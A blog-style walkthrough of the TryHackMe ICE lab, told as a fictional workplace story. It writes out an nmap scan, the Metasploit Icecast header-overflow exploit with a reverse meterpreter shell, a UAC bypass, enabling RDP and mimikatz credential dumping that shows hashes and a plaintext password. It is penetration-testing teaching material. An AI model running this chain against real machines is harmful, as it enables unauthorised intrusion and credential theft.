Breaking ICE

TryHackMe’s ICE room is an easy boot-to-root process that exploits a basic (albeit specific) misconfiguration. How would it be done in a real-world scenario? Fictionalizing what this would look like will hopefully make this walk-through a little more interesting and relatable. Of course, this example is entirely made-up. In any real-world scenario, you will need authorization to test something like this legally! Exploits can have unintended consequences, including permanent damage and data loss.

The Challenge

Imagine that you’re a mildly underemployed entry-level IT person in an old country club which doesn’t have the budget to upgrade its computers. These computers are mostly ancient Windows 7 desktops which work fine enough for the basic admin tasks your colleagues need to perform. One day, as you pass by a window to a locked cubicle, a glowing monitor catches your eye that seems to be running something out of the ordinary:

The computer in the office is running Icecast! You can tell if you look really closely.
The computer in the office is running Icecast! You can tell if you look really closely.
This is what it looks like up close.
This is what it looks like up close.

Naturally, being the curious and bored person you are, you do research on “Icecast” which you have never heard of before.

Apparently, Icecast is an open-source media streaming program first released in 1999. It is used worldwide mainly for music, and in your country club’s case, you realize that the music tracks listed on the screen you passed by are the tinny annoying songs that play on repeat all day in the club’s restaurants and lobbies.

The club needs better music. If you can somehow find that machine on the network to manage the Icecast service, you can do your coworkers and customers a service by improving it.


The first step to finding the PC on the network is running a scan. You know this because you’ve been studying cybersecurity fundamentals in your free time. A quick look at the network configuration reveals that the club operates on a host of independent access points per location, each with their own network behind a NAT in the 192.168.1.x range. Nearby the computer you saw, the strongest network is named “Admin Department.” You fire up your PC on which you dual-booted Kali Linux. After connecting to the WiFi network, you run:

$ sudo nmap -sS -sC -sV -vvv

Combing through the host of results, you find the Icecast machine! The bold lines are important. They tell you what the machine’s IP address is so you can reach it on the network, and that the Icecast service is running on port 8000.

**Nmap scan report for**
Host is up, received echo-reply ttl 127 (0.26s latency).
Scanned at 2022-07-28 11:13:01 PST for 322s
Not shown: 988 closed tcp ports (reset)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp open microsoft-ds syn-ack ttl 127 Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp open ssl/ms-wbt-server? syn-ack ttl 127
|_ssl-date: 2022-07-28T03:16:10+00:00; -1s from scanner time.
| rdp-ntlm-info:
| Target_Name: CATHY-PC
| NetBIOS_Domain_Name: CATHY-PC
| NetBIOS_Computer_Name: CATHY-PC
| DNS_Domain_Name: Cathy-PC
| DNS_Computer_Name: Cathy-PC
| Product_Version: 6.1.7601
|_ System_Time: 2022-07-28T03:15:51+00:00
| ssl-cert: Subject: commonName=Cathy-PC
| Issuer: commonName=Cathy-PC
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2022-07-27T03:03:00
| Not valid after: 2023-01-26T03:03:00
| MD5: f480 14dc bf1f 74fd 3e46 df5f 2649 9091
| SHA-1: acb9 4348 ace0 3589 d8ff 38dd 9da8 36c3 1e38 c497
| AQoCggEBANI+nyKOxGFNbybgKuTtx+j4Fi+6N6VbZL01eKxGaXB6QOz7PEBckXrj
| Dos0ZdZ4n5SSmmI2afEDsf78fio6mfUE/Zc0Ndp3eyqvUh/wJyw1TYgt7MNofCBL
| XAWXpzJuatMWtpbyBR1Mi+QeQ+ByFvfUBt69IAvevDJjRrid8VkdY4QqekopSgRv
| 2s4Ku6S1Do/OAt1Rgdvy4wphhQkSb3IFjNMXPpUqSGL2KBTFO6rnh7o7vMiaZu1c
| O89cIJF0wqLhnYokIFyte0xwFRPinsd7lJMMfXepjcgr2DPBWE6Pnv69uY54UXJP
| w2zx2G4eUaUWO4BYTTcj1nSCqAdbsXd5cqVEOm5aw5rKjtymZdosAaoqKoWzngEl
| QIuy70ifoAxnF5243VNG0tuApb43cSMuvQxBy5Ev5rMgRVSZG/APeUUn80apVzJM
| m3B4hIJIBk73FJaXEfm1KVpr/JMEc4ckxsCc/CqTzAhKgoC0o1ApqOKRfQVWSFwD
| 9nWbWueEmhAWPCmpmq7oC2QQ/mudrspcaZOkeqPKuuTV/0r8JmHlIC7XZ+daBKYi
| n835Z9P35IEY4wKagGqYzAtCTDkO9bD9IeSCUx6r1UG05h0ogsl4D8Tb6dp1hCYR
| 6Vz4sRYI
5357/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Service Unavailable
|_http-server-header: Microsoft-HTTPAPI/2.0
**8000/tcp open http syn-ack ttl 127 Icecast streaming media server**
| http-methods:
|_ Supported Methods: GET
|_http-title: Site doesn't have a title (text/html).
49152/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49153/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49154/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49158/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49159/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49160/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: CATHY-PC; **OS: Windows**; CPE: cpe:/o:microsoft:windows

Checking for vulnerabilities

Knowing that this is the device’s IP address and it is running Icecast, you open up msfconsole to discover what else you can learn about it.

msf6 > search icecast

Matching Modules

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/http/icecast_header 2004-09-28 great No Icecast Header Overwrite

Fascinating. There is only one Metasploit result for Icecast! What is this exploit?

This module exploits a buffer overflow in the header parsing of
icecast versions 2.0.1 and earlier, discovered by Luigi Auriemma.
Sending 32 HTTP headers will cause a write one past the end of a
pointer array. On win32 this happens to overwrite the saved
instruction pointer, and on linux (depending on compiler, etc) this
seems to generally overwrite nothing crucial (read not exploitable).
This exploit uses ExitThread(), this will leave icecast thinking the
thread is still in use, and the thread counter won't be decremented.
This means for each time your payload exits, the counter will be
left incremented, and eventually the threadpool limit will be maxed.
So you can multihit, but only till you fill the threadpool.

That sounds complicated, but in short, as one of the references states, the vulnerability “allows remote attackers to execute arbitrary code via an HTTP request with a large number of headers.” Icecast version 2.0.1 and earlier is vulnerable to a buffer overflow. That’s big.

After obtaining authorization from your boss, you try exploiting this vulnerability. Thrilled, she gives permission for you to break into the machine and even change the music, which she agrees is terrible, as long as you can fix it afterward.

Gaining a foothold

The exploit requires a few basic options which you double-check before running this exploit. First and foremost is RHOSTS, but LHOST is important if you’re running on a VPN. You set all these options appropriately with set <option> <value>.

msf6 > use exploit/windows/http/icecast_header
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/icecast_header) > options

Module options (exploit/windows/http/icecast_header):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see
RPORT 8000 yes The target port (TCP)

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST eth0 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Automatic

The options all check out! RPORT is set to the Icecast port we discovered earlier. You run exploit. 👨‍💻

msf6 exploit(windows/http/icecast_header) > exploit

[*] Started reverse TCP handler on
[*] Sending stage (175686 bytes) to
[*] Meterpreter session 1 opened ( -> at 2022-07-28 13:13:28 +0800

meterpreter > sysinfo
Computer : CATHY-PC
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Logged On Users : 2
Meterpreter : x86/windows
meterpreter > getpid
Current pid: 2344
meterpreter > ps
2344 1520 Icecast2.exe x86 1 Cathy-PC\Cathy C:\Program Files (x86)\Icecast2 Win32\Icecast2.exe

And you’re in! Your initial inspection indicates that you’re operating in the Icecast2.exe process as the user Cathy. What were you here to do again? Ah, yes. You wanted to change the club’s awful background music and fix the vulnerability.


To get to the music, you’ll need more privileges than those currently available:

meterpreter > getprivs

Enabled Process Privileges


Time to escalate. You can use the script that the Rapid7 team developed: post/multi/recon/local_exploit_suggester, after moving the current session to the background with Ctrl-Z and setting the session. Where does this take you?

msf6 post(multi/recon/local_exploit_suggester) > exploit

[*] - Collecting local exploits for x86/windows...
[*] - Valid modules for session 1:

# Name Potentially Vulnerable? Check Result
- ---- ----------------------- ------------
1 exploit/windows/local/bypassuac_eventvwr Yes The target appears to be vulnerable.
2 exploit/windows/local/ikeext_service Yes The target appears to be vulnerable.
3 exploit/windows/local/ms10_092_schelevator Yes The target appears to be vulnerable.
4 exploit/windows/local/ms13_053_schlamperei Yes The target appears to be vulnerable.
5 exploit/windows/local/ms13_081_track_popup_menu Yes The target appears to be vulnerable.
6 exploit/windows/local/ms14_058_track_popup_menu Yes The target appears to be vulnerable.
7 exploit/windows/local/ms15_051_client_copy_image Yes The target appears to be vulnerable.
8 exploit/windows/local/ntusermndragover Yes The target appears to be vulnerable.
9 exploit/windows/local/ppr_flatten_rec Yes The target appears to be vulnerable.
10 exploit/windows/local/tokenmagic Yes The target appears to be vulnerable.
[*] Post module execution completed

There are ten options. What does the first one do?

msf6 post(multi/recon/local_exploit_suggester) >  info exploit/windows/local/bypassuac_eventvwr

Name: Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key)
Module: exploit/windows/local/bypassuac_eventvwr
Platform: Windows
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2016-08-15
This module will bypass Windows UAC by hijacking a special key in
the Registry under the current user hive, and inserting a custom
command that will get invoked when the Windows Event Viewer is
launched. It will spawn a second shell that has the UAC flag turned
off. This module modifies a registry key, but cleans up the key once
the payload has been invoked. The module does not require the
architecture of the payload to match the OS. If specifying
EXE::Custom your DLL should call ExitProcess() after starting your
payload in a separate process.

Since you want to gain permissions to be able to configure Icecast, this module should suffice.

msf6 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/bypassuac_eventvwr
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/bypassuac_eventvwr) > set session 1
session => 1
msf6 exploit(windows/local/bypassuac_eventvwr) > set lhost tun0
lhost => tun0
msf6 exploit(windows/local/bypassuac_eventvwr) > run

[*] Started reverse TCP handler on
[*] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] Configuring payload and stager registry keys ...
[*] Executing payload: C:\Windows\SysWOW64\eventvwr.exe
[+] eventvwr.exe executed successfully, waiting 10 seconds for the payload to execute.
[*] Sending stage (175686 bytes) to
[*] Meterpreter session 2 opened ( -> at 2022-07-28 14:10:25 +0800
[*] Cleaning up registry keys ...

meterpreter >

Post-exploitation and looting

Alright! Now that you have administrator access, you can do quite a bit.

meterpreter > getprivs

Enabled Process Privileges


With these privileges, you can enable remote desktop…

meterpreter > run post/windows/manage/enable_rdp

[*] Enabling Remote Desktop
[*] RDP is already enabled
[*] Setting Terminal Services service startup mode
[*] The Terminal Services service is not set to auto, changing it to auto ...
[*] Opening port in local firewall if necessary

Great. Now that’s done, you need the password of a user on the PC to log on. And yes, Cathy and your boss gave you permission to do this. All you have to do is find the printer spool service and migrate to it, then load the kiwi extension. Why the spool service specifically? It can interact with lsass.exe (the Windows security authority process) and start up again in case you crash it.

meterpreter > pgrep spoolsv.exe
meterpreter > migrate 1272
[*] Migrating from 3468 to 1272...
[*] Migration completed successfully.
meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ## >
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > / ***/


Now, you grab all the passwords.

meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials

Username Domain LM NTLM SHA1
-------- ------ -- ---- ----
Cathy Cathy-PC 85971f9ab438ab5e970d34a7150963a7 4290ea8ed103c15ba8855990137f4626 91b98e3b3dee2ca23dbf9d1d47b5bd530ca67bfe

wdigest credentials

Username Domain Password
-------- ------ --------
(null) (null) (null)
Cathy Cathy-PC sunshine12

tspkg credentials

Username Domain Password
-------- ------ --------
Cathy Cathy-PC sunshine12

kerberos credentials

Username Domain Password
-------- ------ --------
(null) (null) (null)
Cathy Cathy-PC sunshine12
cathy-pc$ WORKGROUP (null)

There is more to security than computer configuration. Sometimes humans are misconfigured and set weak passwords like this one 😉. With this password, you run the following command in a Kali terminal to open FreeRDP.

$ xfreerdp /u:Cathy /p:sunshine12 /v:
Commence sneaky chuckling and hand-rubbing.
Commence sneaky chuckling and hand-rubbing.

You reconfigure the source clients and the nondescript scratchy pop music is all but annihilated. In its place you put pleasing impressionist classical pieces. Immediately, you hear what sounds like a sigh of relief from all your coworkers. The freedom from that soul-stifling music is exhilarating.

Finally, you tear out Windows 7 and Icecast 2.0.1 and replace them with updated and patched counterparts with antivirus enabled. A job well done. The ice can no longer be broken.

Indeed, you could have walked up to the computer directly or simply asked Cathy to change the music like a normal person. But this process was far more educational, exciting, and valuable. Hopefully, you learned a thing or two along the way about penetration testing as well.

#Exploitation #Metasploit #TryHackMe